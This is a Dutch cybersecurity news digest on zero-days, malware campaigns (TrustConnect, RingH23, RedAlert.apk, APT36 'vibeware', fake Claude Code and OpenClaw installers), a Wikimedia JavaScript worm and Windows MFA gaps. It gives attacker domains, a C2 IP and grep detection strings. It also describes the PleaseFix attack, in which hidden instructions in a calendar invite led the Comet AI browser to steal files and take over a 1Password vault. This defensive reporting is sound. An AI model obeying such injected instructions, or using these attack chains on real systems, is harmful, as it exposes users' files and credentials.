Microsoft was het meest getroffen bedrijf met 25 zero days, gevolgd door Google (11), Apple (8), Cisco en Fortinet (4), en Ivanti en VMware (3). Voor het eerst waren commerciële spyware vendors de grootste gebruikers van niet-gedocumenteerde kwetsbaarheden, vóór staatssponsoring. Onder de staatssponsoring blijven China-gelieerde spionagegroepen het meest actief, met 10 zero days misbruikt in 2025, gericht op edge devices, security appliances en netwerkapparatuur voor langdurige toegang. Er was ook een toename in zero-day misbruik door financieel gemotiveerde actoren (ransomware, data extortion), die verantwoordelijk waren voor negen van de kwetsbaarheden. GTIG verwacht dat het gebruik van AI tools de ontdekking van kwetsbaarheden en de ontwikkeling van exploits zal versnellen, waardoor het misbruik van zero-day kwetsbaarheden in 2026 hoog zal blijven. De Brickstorm campagne wordt genoemd als voorbeeld van hoe hackers hun focus verleggen van source code theft naar het ontdekken van kwetsbaarheden in toekomstige softwareproducten.

Om zero-day misbruik te detecteren en te beperken, adviseert Google het verminderen van aanvalsoppervlakken en privilege exposure, het continu monitoren van systemen op afwijkend gedrag en het onderhouden van snelle patching en incident-response processen.

Bron: hubs.li | Bron 2: incode.com

Uit het "2026 State of Browser Security Report" van Keep Aware blijkt dat de browser een cruciaal, maar vaak onvoldoende beschermd controlepunt is geworden binnen organisaties. In 2025 werden AI-browsers gangbaar en werden AI-copilots geïntegreerd in zakelijke applicaties. Werknemers gebruiken gemiddeld 1,91 AI-tools, waarbij 41% minstens één AI-webtool gebruikt. Dit leidt tot inconsistent beleid en gebrek aan toezicht, doordat werknemers vaak persoonlijke accounts gebruiken voor AI-toepassingen en interne documenten, broncode, financiële informatie en gereguleerde data in AI-systemen plakken en uploaden, buiten het zicht van traditionele beveiligingsmaatregelen.

Het rapport toont aan dat 46% van de gevoelige data-invoer in webapplicaties naar persoonlijke accounts en niet-geverifieerde werkaccounts wordt gestuurd. Gevoelige uploads vinden plaats op platforms zoals SharePoint, Google services, Slack en Box, vaak via persoonlijke accounts zonder enterprise governance. Traditionele DLP-oplossingen zijn niet ontworpen om getypte inputs, geplakte data of geüploade bestanden binnen browsers te inspecteren.

Aanvallers richten zich steeds meer op de browser zelf, waarbij Keep Aware in 2025 de volgende aanvalscategorieën observeerde: 29% phishing, 19% verdachte of kwaadaardige browser extensies en 17% social engineering. Phishing domeinen hebben een gemiddelde leeftijd van meer dan 18 jaar, wat aantoont dat het blokkeren van "nieuwe" domeinen niet langer effectief is. Aanvallers maken gebruik van cloaking, chained redirects, CAPTCHA-gates en conditional execution om detectie te vermijden. Browser extensies blijven een risico, omdat ze persistente, geprivilegieerde toegang tot browseractiviteit bieden.

Bron: Keep Aware | Bron 2: incode.com

Het Computer Emergency Response Team van Oekraïne (CERT-UA) heeft gewaarschuwd voor een phishingcampagne gericht op Oekraïense overheidsinstellingen. De aanvallers gebruiken phishing-e-mails met een ZIP-archief of een link naar een website die kwetsbaar is voor cross-site scripting-aanvallen. Via deze weg wordt de SHADOWSNIFF en SALATSTEALER informatie-stelende malware en een Go-backdoor genaamd DEAFTICKK verspreid. CERT-UA schrijft de activiteit toe aan een dreigingsactor die bekend staat als UAC-0252. ClearSky meldt dat een vermoedelijke Russische spionagecampagne Oekraïne viseert met twee niet eerder gedocumenteerde malwarevarianten, BadPaw en MeowMeow. ClearSky heeft de doelwitten van de campagne niet geïdentificeerd en evenmin of de aanvallen succesvol waren. De campagne wordt vermoedelijk uitgevoerd door APT28.

Daarnaast is een nieuwe malware-as-a-service (MaaS) genaamd TrustConnect ("trustconnectsoftware[.]com") opgedoken, die zich voordoet als een legitieme tool voor remote monitoring en management (RMM) voor $300 per maand. De dreigingsactor achter TrustConnect was volgens schattingen ook een prominent gebruiker van RedLine Stealer. Volgens Proofpoint zijn meerdere dreigingsactoren waargenomen die de malware sinds 27 januari 2026 via phishing-e-mails verspreiden. De e-mails doen zich voor als uitnodigingen voor evenementen of biedingsvoorstellen, waardoor ontvangers worden misleid om op links te klikken. Deze links leiden naar de download van valse uitvoerbare bestanden die TrustConnect RAT installeren. De RAT geeft aanvallers volledige controle over de muis en het toetsenbord van de gebruiker, waardoor ze het scherm van het slachtoffer kunnen opnemen en streamen. In sommige campagnes is ook legitieme remote access software zoals ScreenConnect en LogMeIn Resolve samen met TrustConnect geleverd tussen 31 januari en 3 februari 2026. Klanten die de toolkit kopen, krijgen toegang tot een dashboard om geïnfecteerde apparaten op afstand te besturen en branded installers te genereren die de malware bevatten. Nadat Proofpoint op 17 februari 2026 stappen had ondernomen om een deel van de infrastructuur van de malware te verstoren, dook de dreigingsactor weer op met een rebranded versie van het malwareplatform genaamd DocConnect.

Proofpoint stelt dat verstoringen van MaaS-operaties zoals RedLine, Lumma Stealer en Rhadamanthys nieuwe mogelijkheden hebben gecreëerd voor malwaremakers om gaten in de cybercrimemarkt op te vullen. Hoewel TrustConnect zich slechts voordeed als een legitieme RMM, vertonen de lokmiddelen, aanvalsketens en follow-on payloads (waaronder RMM's) overlap met technieken en leveringsmethoden die vaak worden waargenomen in RMM-campagnes en worden gebruikt door meerdere dreigingsactoren. Deze ontwikkeling komt te midden van een sterke toename van misbruik van legitieme RMM-software in cyberaanvallen.

Bron: Proofpoint

Organisaties die multi-factor authenticatie (MFA) implementeren, gaan er vaak van uit dat gestolen wachtwoorden niet langer voldoende zijn om toegang te krijgen tot systemen. In Windows-omgevingen is deze aanname echter vaak onjuist. Aanvallers compromitteren nog steeds dagelijks netwerken met behulp van valide credentials, aldus een analyse. Het probleem is niet MFA zelf, maar de dekking ervan.

MFA, dat wordt afgedwongen via een identity provider (IdP) zoals Microsoft Entra ID, Okta of Google Workspace, werkt goed voor cloud-apps en federatieve aanmeldingen. Echter, veel Windows-aanmeldingen zijn uitsluitend afhankelijk van Active Directory (AD) authenticatiepaden die nooit MFA-prompts activeren. Om credential-based compromissen te verminderen, moeten security teams begrijpen waar Windows-authenticatie plaatsvindt buiten hun identity stack.

Er zijn zeven Windows-authenticatiepaden waar aanvallers vaak gebruik van maken:

1.  Interactieve Windows-aanmelding (lokaal of aan een domein toegevoegd): Authenticatie wordt meestal afgehandeld door AD (via Kerberos of NTLM), niet door een cloud IdP.

2.  Directe RDP-toegang die conditional access omzeilt: Een directe RDP-sessie naar een server passeert niet automatisch cloud-based MFA-controles.

3.  NTLM-authenticatie: NTLM is een verouderd authenticatieprotocol dat nog steeds bestaat om compatibiliteitsredenen en ondersteunt technieken zoals pass-the-hash.

4.  Kerberos ticket abuse: Aanvallers stelen Kerberos-tickets uit het geheugen of genereren vervalste tickets na het compromitteren van privileged accounts.

5.  Lokale administrator accounts en credential reuse: Als lokale admin-wachtwoorden worden hergebruikt, kunnen aanvallers één compromis uitbreiden naar brede toegang.

6.  Server Message Block (SMB) authenticatie en lateral movement: SMB wordt gebruikt voor file sharing en remote access tot Windows resources.

7.  Service accounts die nooit MFA triggeren: Service accounts hebben vaak stabiele credentials, brede permissies en lange levensduur, waardoor ze moeilijk te beschermen zijn met MFA.

Om Windows-authenticatie gaps te dichten, wordt aangeraden om Windows-authenticatie te behandelen als een eigen security surface en sterkere wachtwoord policies af te dwingen in AD, gecompromitteerde wachtwoorden continu te blokkeren en NTLM te blokkeren.

Bron: The Hacker News

De Wikimedia Foundation heeft vandaag een beveiligingsincident ondervonden nadat een zelfverspreidende JavaScript-worm gebruikersscripts begon te wijzigen en Meta-Wiki-pagina's te vernielen. Editors meldden het incident op Wikipedia's Village Pump (technisch), waar gebruikers een groot aantal geautomatiseerde bewerkingen opmerkten die verborgen scripts en vandalisme aan willekeurige pagina's toevoegden. Wikimedia-engineers beperkten tijdelijk het bewerken van projecten tijdens het onderzoeken van de aanval en het terugdraaien van wijzigingen.

Volgens de Phabricator issue tracker van Wikimedia begon het incident nadat een kwaadaardig script op de Russische Wikipedia werd uitgevoerd, waardoor een globaal JavaScript-script op Wikipedia werd gewijzigd met kwaadaardige code. Het kwaadaardige script werd opgeslagen onder User:Ololoshka562/test.js, voor het eerst geüpload in maart 2024 en vermoedelijk geassocieerd met scripts die in eerdere aanvallen op wiki-projecten werden gebruikt.

Op basis van bewerkingsgeschiedenissen, beoordeeld door BleepingComputer, wordt aangenomen dat het script voor het eerst is uitgevoerd door een Wikimedia-medewerkersaccount tijdens het testen van gebruikersscriptfunctionaliteit. Het is momenteel niet bekend of het script opzettelijk werd uitgevoerd, per ongeluk werd geladen tijdens het testen, of werd geactiveerd door een gecompromitteerd account.

BleepingComputer's beoordeling van het gearchiveerde test.js-script laat zien dat het zichzelf verspreidt door kwaadaardige JavaScript-laders te injecteren in zowel de common.js van een ingelogde gebruiker als Wikipedia's globale MediaWiki:Common.js, die door iedereen wordt gebruikt. MediaWiki staat zowel globale als gebruikersspecifieke JavaScript-bestanden toe, zoals MediaWiki:Common.js en User: /common.js, die worden uitgevoerd in de browsers van editors om de wiki-interface aan te passen.

Nadat het eerste test.js-script in de browser van een ingelogde editor was geladen, probeerde het twee scripts te wijzigen met behulp van de sessie en privileges van die editor:

*   Persistentie op gebruikersniveau: het probeerde User: /common.js te overschrijven met een lader die automatisch het test.js-script zou laden wanneer die gebruiker door de wiki bladert terwijl hij is ingelogd.

*   Site-wijde persistentie: Als de gebruiker de juiste privileges had, zou het ook het globale MediaWiki:Common.js-script bewerken, zodat het zou werken voor elke editor die het globale script gebruikt.

Als het globale script succesvol was gewijzigd, zou iedereen die het laadt automatisch de lader uitvoeren, die vervolgens dezelfde stappen zou herhalen, inclusief het infecteren van hun eigen common.js. Het script bevat ook functionaliteit om een willekeurige pagina te bewerken door er een op te vragen via het Special:Random wiki-commando, en vervolgens de pagina te bewerken om een afbeelding en de volgende verborgen JavaScript-lader in te voegen.

Volgens de analyse van BleepingComputer werden ongeveer 3.996 pagina's gewijzigd en hadden ongeveer 85 gebruikers hun common.js-bestanden vervangen tijdens het beveiligingsincident. Het is onbekend hoeveel pagina's er zijn verwijderd. Tijdens de opschoonactie hebben Wikimedia Foundation-medewerkers ook de common.js voor tal van gebruikers over het hele platform teruggedraaid. Deze gewijzigde pagina's zijn nu "onderdrukt" en zijn niet langer zichtbaar in de wijzigingsgeschiedenissen.

Op het moment van schrijven is de geïnjecteerde code verwijderd en is bewerken weer mogelijk. Wikimedia heeft echter nog geen gedetailleerd post-incident rapport gepubliceerd waarin precies wordt uitgelegd hoe het sluimerende script is uitgevoerd of hoe wijdverspreid de worm zich heeft verspreid voordat deze werd ingeperkt.

De Wikimedia Foundation deelde de volgende verklaring met BleepingComputer, waarin staat dat de code slechts 23 minuten actief was, waarin het alleen inhoud op Meta-Wiki veranderde en verwijderde, die sindsdien is hersteld.

Bron: phabricator.wikimedia.org | Bron 2: ru.wikinews.org | Bron 3: hubs.li

Een Pakistaanse hackinggroep, APT36, overspoelt Indiase overheidsnetwerken met een nieuwe vorm van malware, gegenereerd door AI. Deze verschuiving in de digitale strijd tussen de twee landen is opmerkelijk, waarbij de nadruk ligt op de kwantiteit van de malware in plaats van de kwaliteit. Bitdefender-onderzoekers noemen deze aanpak "Vibeware": een golf van middelmatige, AI-gegenereerde code die is ontworpen om beveiligingssystemen te overweldigen door het grote volume.

Volgens het onderzoek van Bitdefender is APT36 (ook bekend als Transparent Tribe) overgestapt van standaardtools naar het gebruik van AI om snel software te ontwikkelen in niche programmeertalen zoals Nim, Zig en Crystal, om zo traditionele antivirusscanners te omzeilen. De kwaliteit van de geproduceerde code is vaak laag. In een voorbeeld vergaten de hackers de webadres toe te voegen waarnaar gestolen browserdata verzonden moest worden, waardoor de tool geen bestemming had om de informatie naartoe te sturen.

Onderzoekers ontdekten ook een psychologisch spel, waarbij de veelvoorkomende hindoeïstische naam "Kumar" verborgen was in de bestandspaden van de code. Dit suggereert dat de ontwikkelaars digitale sporen planten om onderzoekers te misleiden en hen te laten zoeken naar een dader binnen India. Ze noemden zelfs een Discord-server "Jinwoo's Server", een verwijzing naar een populaire anime, om op te gaan in de reguliere internetcultuur.

Ondanks de fouten zijn sommige tools wel degelijk intrusief. Een tool genaamd LuminousCookies probeerde App-Bound Encryption te omzeilen, een beveiligingsslot dat door Chrome en Edge wordt gebruikt om opgeslagen wachtwoorden te beschermen. In plaats van het slot van buitenaf te kraken, dwingt de malware zichzelf in het geheugen van de browser en doet het zich voor als een legitiem onderdeel van het programma om de sleutels te bemachtigen.

APT36 maakt ook misbruik van het vertrouwen in bureaubladpictogrammen door snelkoppelingen voor Google Chrome en Microsoft Edge te wijzigen. Wanneer een gebruiker op zijn browser klikt, wordt er stilletjes een spionageprogramma op de achtergrond gestart. Dit begint vaak met een nep-cv in PDF-formaat dat gebruikers misleidt om op een "Download"-knop te klikken, waarmee het virus wordt geïnstalleerd.

De groep gebruikt ook Google Sheets voor instructies en Slack of Discord om gestolen bestanden te verzenden. Door deze platforms te gebruiken, lijkt hun kwaadaardige activiteit op een gewone kantoormedewerker die een spreadsheet bijwerkt. Eenmaal binnen, zetten ze watchers in zoals BackupSpy. Deze tool scant elke schijf en USB-stick op een specifieke lijst van 16 bestandstypen, waaronder Office-documenten (.docx, .xlsx), PDF's, afbeeldingen (.png, .jpg) en zelfs webbestanden (.html). Het houdt zelfs een inventarislijst bij om precies bij te houden wat er is gestolen.

Deze malware-per-dag strategie is gericht op de Indiase overheid en haar diplomatieke missies. Het doel is niet om een ​​hoofdsleutel te bouwen, maar om duizenden goedkope, AI-gemaakte sleutels naar de deur te gooien, in de hoop dat er een zal werken. Dit is een Distributed Denial of Detection, waarbij het doel is om de verdedigers simpelweg uit te putten.

Bron: Bitdefender

In 2025 is het aantal Common Vulnerabilities and Exposures (CVE's) gestegen naar 48.196, wat neerkomt op ongeveer 132 kwetsbaarheden per dag. Dat blijkt uit een retrospectief onderzoek van Cisco Talos. Vooral het grote aantal bekende geëxploiteerde kwetsbaarheden (KEV's) baart zorgen. Het aantal KEV's steeg met 30% van 186 in 2024 naar 241 in 2025. Opvallend is dat 39% van de KEV's die in 2025 werden toegevoegd, afkomstig waren van CVE's uit 2024 en eerder. Er werden zelfs actief geëxploiteerde kwetsbaarheden uit 2007 waargenomen.

Fundamentele softwarefouten zoals XSS, SQL-injectie en deserialisatie blijven een groot probleem vormen en zijn verantwoordelijk voor ongeveer 10.000 CVE's. Cisco Talos benadrukt dat patchmanagement ook legacy systemen moet omvatten. Het begint met het in kaart brengen van de aanwezige assets en het begrijpen van wat er daadwerkelijk in de omgeving draait. Voor systemen die niet kunnen worden gepatcht, zijn compenserende maatregelen essentieel, zoals microsegmentatie, netwerkisolatie en verbeterde monitoring.

Netwerkinfrastructuren werden onevenredig zwaar getroffen, met 54 KEV's die gericht waren op firewalls, VPN's en andere netwerkapparaten. Het aantal leveranciers dat in KEV's voorkomt, steeg van 79 naar 99 in 2025. Elke extra leverancier in een omgeving betekent een extra patchcyclus, een extra waarschuwing om te volgen en een potentieel zwakke schakel in de keten.

Voor het eerst heeft Cisco Talos geprobeerd om AI-gerelateerde kwetsbaarheden in de CVE-data systematisch te volgen. Met behulp van specifieke zoekwoorden in categorieën zoals AI-platforms, ML-frameworks en LLM-producten, is het aantal AI-gerelateerde CVE's bijna verdubbeld van 168 naar 330. "Model Context Protocol (MCP)" en "Claude" kwamen in 2024 nog niet voor in de data. Cisco Talos waarschuwt dat CVE-data geen opkomende risico's zoals jailbreaking, hallucination-based misinformation, training data extraction of model inversion attacks omvatten.

Cisco Talos adviseert organisaties om waakzaam te zijn met betrekking tot de oorlog in het Midden-Oosten. Hoewel er momenteel geen significante toename van cyberactiviteit is waargenomen, kunnen cybercriminelen proberen te profiteren van de situatie door middel van social engineering. Het wordt aanbevolen om multi-factor authenticatie (MFA) in te schakelen, alert te zijn op verdachte links en documenten, en de monitoring te verbeteren. Werknemers moeten worden gewaarschuwd om niet op ongevraagde links met betrekking tot het conflict te klikken. Zorg er altijd voor dat alle software is bijgewerkt naar de nieuwste versies.

Bron: Cisco Talos | Bron 2: atlas.mitre.org | Bron 3: genai.owasp.org

Cybercriminelen gebruiken een nieuwe methode om ontwikkelaars en IT-professionals aan te vallen. Ze zetten valse downloadpagina's op die lijken op Claude Code, een AI-coding assistent. Deze pagina's verleiden gebruikers tot het downloaden van een nep installatiepakket, dat in werkelijkheid een infostealer malware op het systeem installeert. Het gebruik van een bekende AI-tool als lokaas laat een groeiende trend zien waarbij cybercriminelen de populariteit van AI-platforms misbruiken om vertrouwen te winnen.

De aanval werd ontdekt via een distributiecampagne met het domein it..com. Slachtoffers worden naar deze sites gelokt, die zijn ontworpen om op legitieme software downloadportals te lijken. Zodra een gebruiker op de downloadknop klikt, wordt er geen echte software gedownload, maar wordt een kwaadaardige keten in gang gezet zodra het bestand wordt geopend.

Cybersecurity-analist Maurice Fielenbach benadrukte dat de aanval eindigt in een MSHTA-gebaseerde infostealer. Mshta.exe, een legitieme Microsoft Windows binary, wordt misbruikt om kwaadaardige HTML Application (HTA) bestanden uit te voeren die van externe bronnen worden opgehaald. Het monitoren van HTA-uitvoering vanaf externe bronnen is een belangrijke indicator van criminele activiteit.

De impact van deze infostealer kan ernstig zijn. De malware verzamelt browser-opgeslagen inloggegevens, sessietokens en andere gevoelige data en stuurt deze naar een door de aanvallers gecontroleerde infrastructuur. Voor ontwikkelaars kunnen gecompromitteerde inloggegevens toegang geven tot code repositories, cloud omgevingen en interne systemen, wat kan leiden tot bredere security incidenten.

Het infectiemechanisme maakt gebruik van mshta.exe, een door Microsoft ondertekende binary die deel uitmaakt van het Windows besturingssysteem. Omdat het een vertrouwd systeemtool is, wordt de activiteit ervan vaak niet standaard door security producten opgemerkt. Deze techniek staat bekend als Living off the Land en is gecatalogiseerd onder MITRE ATT&CK als T1218.005. Wanneer een slachtoffer interactie heeft met de valse downloadpagina, wordt mshta.exe aangeroepen om een extern HTA-bestand op te halen en uit te voeren dat een kwaadaardig script bevat. Dit script verzamelt inloggegevens, browserdata en andere gevoelige informatie in het geheugen.

Security teams wordt aangeraden om gedetailleerde logging voor mshta.exe activiteit in te schakelen en elke instantie te markeren waarbij het verbinding maakt met externe URL's. Organisaties zouden ook moeten overwegen om mshta.exe uitvoering te beperken via application control policies. Gebruikers moeten software downloads altijd verifiëren via officiële vendor bronnen en het downloaden van tools van onbekende websites vermijden.

Bron: Maurice Fielenbach

De cybercriminele groep Funnull, eerder al gesanctioneerd door het Amerikaanse ministerie van Financiën, is teruggekeerd met een nieuw arsenaal aan tools genaamd RingH23. De groep compromitteert op grote schaal CDN-nodes en vergiftigt het MacCMS content management systeem om miljoenen gebruikers door te verwijzen naar illegale websites. Deze campagne markeert een significante escalatie van Funnull's mogelijkheden, waarbij de groep verder gaat dan het simpelweg kapen van legitieme CDN-diensten. Het bouwt en implementeert nu een volledig eigen, server-side aanvalskader.

Funnull, ook bekend als Fangneng CDN, is een in de Filipijnen geregistreerd bedrijf dat publiekelijk beweert CDN-diensten aan te bieden, maar al lange tijd fungeert als een belangrijke infrastructuurprovider voor het cybercriminele ecosysteem in Zuidoost-Azië. De groep faciliteerde grootschalige "pig-butchering"-scams en frauduleuze investeringsplatforms, waarbij de verliezen van slachtoffers naar verluidt meer dan 200 miljoen dollar bedragen. Op 29 mei 2025 werd de groep formeel gesanctioneerd door het Office of Foreign Assets Control (OFAC) van het Amerikaanse ministerie van Financiën, wat de activiteiten tijdelijk stillegde.

Analisten van XLab identificeerden de heropleving op 9 juli 2025, toen hun Cyber Threat Insight and Analysis System (CTIA) een verdacht ELF-bestand detecteerde dat werd verspreid vanaf het domein download.zhw[.]sh. Dit bestand had nul detecties op VirusTotal. Het ingebedde domein client.110[.]nz vertoonde maar liefst 1,6 miljard DNS-resoluties in XLab's Passive DNS-systeem, een duidelijk signaal dat onderzoekers niet naar een geïsoleerd incident keken, maar naar iets veel groters.

Funnull hanteerde twee afzonderlijke infectieroutes. In de eerste route compromitteerden aanvallers een GoEdge CDN-beheerknooppunt en gebruikten ze een infectiemodule om SSH remote commands uit te geven, waardoor alle verbonden edge nodes gedwongen werden de RingH23-toolkit te downloaden en uit te voeren. In de tweede route vergiftigde de groep het officiële updatekanaal van maccms.la, een veelgebruikt open-source video CMS met meer dan 2.700 GitHub-sterren, om een kwaadaardige PHP-backdoor te leveren. Bij de eerste login van de beheerder na installatie werd de payload stilletjes opgehaald en geactiveerd. De downloadlink bleef slechts drie minuten geldig en verliep daarna automatisch, om forensisch onderzoek te bemoeilijken.

De schaal van de impact is aanzienlijk. XLab's telemetrie identificeerde meer dan 10.748 geïnfecteerde IP-adressen, waarvan de meeste toebehoren aan streaming- en filmgerelateerde websites. Een typosquatted domein dat Cloudflare nabootst, cdnjs.clondflare[.]com, registreerde op zijn hoogtepunt op 30 augustus 2025 340.000 unieke clientbezoeken op één dag. Aangezien XLab's monitoring slechts ongeveer 5% van de binnenlandse markt dekt, schatten onderzoekers dat meer dan een miljoen gebruikers per dag werden blootgesteld aan kwaadaardige JavaScript die hen doorverwees naar gok- en pornowebsites.

De RingH23-toolkit is een zorgvuldig ontworpen, multi-component framework met een duidelijke scheiding van verantwoordelijkheden in elke fase van de aanvalsketen. Het toegangspunt is infect_init, een op Golang gebaseerde infector verpakt met UPX die root-rechten vereist en sessietokens en groepssleutels valideert tegen een C2-server voordat verder wordt gegaan. Na authenticatie bevraagt het de GoEdge-beheerdatabase om edge node credentials te verzamelen en implementeert vervolgens de volgende fase, download_init, op elke verbonden server via SSH. download_init fungeert als de staging engine. Het onderzoekt de Nginx-configuratie van het gecompromitteerde systeem, registreert zich bij de C2-server en haalt download-URL's op voor alle overige payloads, waaronder de backdoor, rootkit, kwaadaardige Nginx-module en udev persistence rules.

De meest technisch geavanceerde component is de Badredis2s-backdoor, die communiceert via AES-128-CBC-geëncrypteerde WebSocket-tunnels, waarbij C2-adressen dynamisch worden opgehaald uit Microsoft Azure Blob Storage. Als de primaire verbinding wordt geblokkeerd, valt het automatisch terug op DNS-tunneling met behulp van de open-source iodine tool, waardoor persistente C2-toegang wordt gegarandeerd, ongeacht firewallrestricties. Daarnaast onderschept de Badnginx2s Nginx-module uitgaand verkeer om kwaadaardige JavaScript te injecteren, stilletjes Ethereum- en TRON-walletadressen te vervangen door door aanvallers gecontroleerde adressen en 5-seconden videosegmenten in HLS-streamingplaylists in te voegen. De Badhide2s userland rootkit schrijft zichzelf in /etc/ld.so.preload om alle kwaadaardige bestanden, processen en netwerkverbindingen te verbergen voor tools zoals ps, ls en netstat.

XLab adviseert website-exploitanten om te stoppen met het gebruik van maccms.la, serverbestanden te controleren met grep xxSJRox en grep gzuncompress om template-injectie en verborgen PHP-payloads te detecteren, en active.php uit de applicatiemap te verwijderen om de persistente herinfectiecyclus te doorbreken.

Bron: XLab

Onderzoekers van Zenity Labs hebben een significante kwetsbaarheid ontdekt in de Comet AI browser van Perplexity, genaamd PleaseFix. Via een malafide kalenderuitnodiging konden aanvallers de AI-assistent van de browser kapen om persoonlijke bestanden te stelen en zelfs de 1Password kluis van een gebruiker over te nemen.

Agentic browsers zijn ontworpen als super-assistenten die namens de gebruiker kunnen lezen, klikken en handelen. De onderzoekers ontdekten echter dat deze tools vaak geen onderscheid kunnen maken tussen een gebruikersopdracht en een kwaadaardige instructie die verborgen is in een website of e-mail.

De aanval is bijzonder gevaarlijk omdat deze geen enkele klik vereist. De inbreuk wordt geactiveerd door een routineus ogende kalenderuitnodiging. Door middel van indirecte promptinjectie werden commando's verborgen in de beschrijving van de uitnodiging. De AI leest de volledige tekst, terwijl een persoon alleen een vergadertijd ziet. Wanneer een gebruiker Comet vraagt om de vergadering te accepteren, voert de AI de verborgen instructies op de achtergrond uit.

Michael Bargury, medeoprichter van Zenity Labs, noemde dit een inherente kwetsbaarheid omdat de systemen autonoom zijn ontworpen. Aanvallers kunnen onvertrouwde data in de AI pushen om de toegang van de gebruiker te verkrijgen.

Na de kaping kon de AI op twee manieren worden misbruikt: het stelen van lokale bestanden en het kapen van de 1Password kluis. In het eerste scenario werd de AI misleid om de interne folders van de computer te scannen. De AI browseerde directories, opende gevoelige bestanden en las hun inhoud, waarna deze data werd verzonden naar een website die onder controle stond van de aanvaller. Dit gebeurde in een zijpaneel, waardoor de gebruiker onwetend bleef van de diefstal.

In het tweede scenario werd de AI gebruikt om de ontgrendelde 1Password kluis van de gebruiker te openen. Door instructies verborgen in het Engels en Hebreeuws, kon de AI zoeken naar inloggegevens of zelfs het hoofdwachtwoord wijzigen. Dit resulteerde in een volledige accountovername, waardoor de aanvaller onbeperkte toegang kreeg tot de wachtwoorden van de gebruiker.

Zenity Labs informeerde Perplexity op 22 oktober 2025 en Perplexity reageerde door "harde grenzen" te implementeren die de AI fysiek blokkeren van toegang tot lokale bestandspaden. Vanaf 13 februari 2026 bevestigde Zenity dat deze aanvallen niet langer werken. Perplexity introduceerde ook instellingen om de AI uit te schakelen op gevoelige sites zoals 1Password. Deze beveiligingen zijn echter vaak "opt-in", waardoor gebruikers handmatig instellingen moeten inschakelen om ervoor te zorgen dat de AI niet zonder toestemming kan handelen.

Bron: Zenity

In de context van het conflict tussen Israël en Iran hebben cybercriminelen een getrojaniseerde versie van Israëls officiële "Red Alert"-app verspreid, een app die burgers waarschuwt bij raketaanvallen. De vervalste app, vermomd als een urgente update, is in werkelijkheid een instrument voor heimelijke surveillance.

De app, genaamd RedAlert.apk, werd verspreid via SMS-phishingberichten die afkomstig leken van het Israëlische Home Front Command. Gebruikers werden misleid om de app buiten de Google Play Store om te installeren, waardoor de normale beveiligingsmechanismen werden omzeild. De aanvallers maakten gebruik van de paniek en urgentie van de oorlogssituatie om mensen minder alert te laten zijn op de risico's.

Na installatie vertoont de valse app een identieke interface als de officiële app, waardoor slachtoffers geen reden hebben om argwaan te koesteren. CloudSEK-analisten ontdekten de campagne door reverse engineering van de APK, waarbij een gelaagd infectiemechanisme werd blootgelegd dat ontworpen is om detectie te vermijden en tegelijkertijd gevoelige gegevens te verzamelen.

De malware vraagt agressief om risicovolle machtigingen, zoals toegang tot SMS-berichten, contacten en precieze GPS-locatie, onder het mom van routinevereisten voor de noodwaarschuwingsfuncties van de app. Zodra een machtiging is verleend, wordt de bijbehorende datacollectiemodule onmiddellijk geactiveerd. De verzamelde gegevens worden lokaal opgeslagen voordat ze via HTTP POST-verzoeken worden verzonden naar servers die door de aanvallers worden beheerd op https://api[.]ra-backup[.]com/analytics/submit.php.

Door continu de GPS-coördinaten van geïnfecteerde apparaten te volgen tijdens luchtaanvallen, verzamelen de aanvallers informatie over burgerbewegingen, waarmee ze schuilplaatsen in kaart kunnen brengen, ontheemde bevolkingsgroepen kunnen volgen of concentraties van militaire reservisten kunnen identificeren. Het onderscheppen van de volledige SMS-inbox biedt de aanvallers ook de mogelijkheid om authenticatie met twee factoren te omzeilen en gerichte desinformatiecampagnes uit te voeren.

Het technische ontwerp van RedAlert.apk omvat een drietraps infectieketen. In de eerste fase fungeert de buitenste APK-shell als een camouflage. Met behulp van Package Manager Hooking maakt de malware gebruik van Java-reflectie om systeemaanroepen te onderscheppen die normaal gesproken het echte ondertekeningscertificaat zouden onthullen. In plaats daarvan retourneert het een hardcoded certificaat dat de officiële Home Front Command-app van 2014 nabootst. Het dwingt het systeem ook om te rapporteren dat de app is geïnstalleerd vanuit de Google Play Store, ook al heeft het slachtoffer de app sideloaded.

In de tweede fase wordt een verborgen bestand met de naam "umgdn" uit de assets-directory van de APK geëxtraheerd en in het geheugen geladen als een Dalvik Executable. In de derde fase wordt de uiteindelijke payload, DebugProbesKt.dex, ingezet, die de volledige spyware-suite activeert en command-and-control communicatie met de infrastructuur van de aanvallers tot stand brengt.

CloudSEK adviseert gebruikers die een infectie vermoeden, de valse RedAlert-app onmiddellijk te verwijderen en een volledige fabrieksreset uit te voeren, waarbij elke back-up die na de eerste infectiedatum is gemaakt, moet worden vermeden. Netwerkbeheerders moeten al het DNS- en HTTPS-verkeer naar api.ra-backup[.]com blokkeren en geïdentificeerde C2 IP-adressen, met name 216.45.58[.]148, op een zwarte lijst plaatsen. Organisaties moeten onmiddellijk waarschuwingen uitvaardigen voor personeel over smishing-aanvallen met een conflict-thema die verband houden met de Israël-Iran-crisis.

Bron: CloudSEK

Microsofts AI-gestuurde zoekmachine Bing promootte malafide OpenClaw-installatieprogramma's op GitHub, die gebruikers opdroegen om commando's uit te voeren die informatie stealers en proxy malware installeerden. OpenClaw is een open-source AI-agent die populair is geworden als een persoonlijke assistent die taken kan uitvoeren. Het heeft toegang tot lokale bestanden en kan integreren met e-mail, messaging-apps en online services.

Omdat OpenClaw toegang heeft tot veel lokale data, zagen dreigingsactoren een mogelijkheid om gevoelige informatie te verzamelen door kwaadaardige vaardigheden (instructiebestanden) te publiceren op de officiële registry en GitHub van de tool. Onderzoekers van Huntress ontdekten vorige maand een nieuwe campagne die meerdere uitvoerbare bestanden voor malware loaders en infostealers verspreidde onder gebruikers die OpenClaw wilden installeren.

Volgens de onderzoekers zette de dreigingsactor kwaadaardige GitHub-repositories op die zich voordeden als OpenClaw-installatieprogramma's. Deze werden aanbevolen door Bing in zijn AI-gestuurde zoekresultaten voor de Windows-versie van de tool. Huntress stelt dat het hosten van de malware op GitHub al genoeg was om de Bing AI-zoekresultaten te beïnvloeden.

Een nep OpenClaw-repository dat Huntress analyseerde, leek op het eerste gezicht legitiem, omdat de dreigingsactor het koppelde aan een GitHub-organisatie genaamd openclaw-installer. De GitHub-accounts die deze repositories publiceerden, waren nieuw aangemaakt, maar probeerden hun legitimiteit te vergroten door echte code van het Cloudflare moltworker-project te kopiëren.

De repository bood een installatiehandleiding voor OpenClaw op macOS, waarbij de gebruiker werd opgedragen een bash-commando in Terminal te plakken. Dit leidde naar een afzonderlijke GitHub-organisatie genaamd puppeteerrr en een repository genaamd dmg. Deze repository bevatte een aantal bestanden die een shellscript combineerden met een Mach-O executable, die Huntress identificeerde als de Atomic Stealer malware.

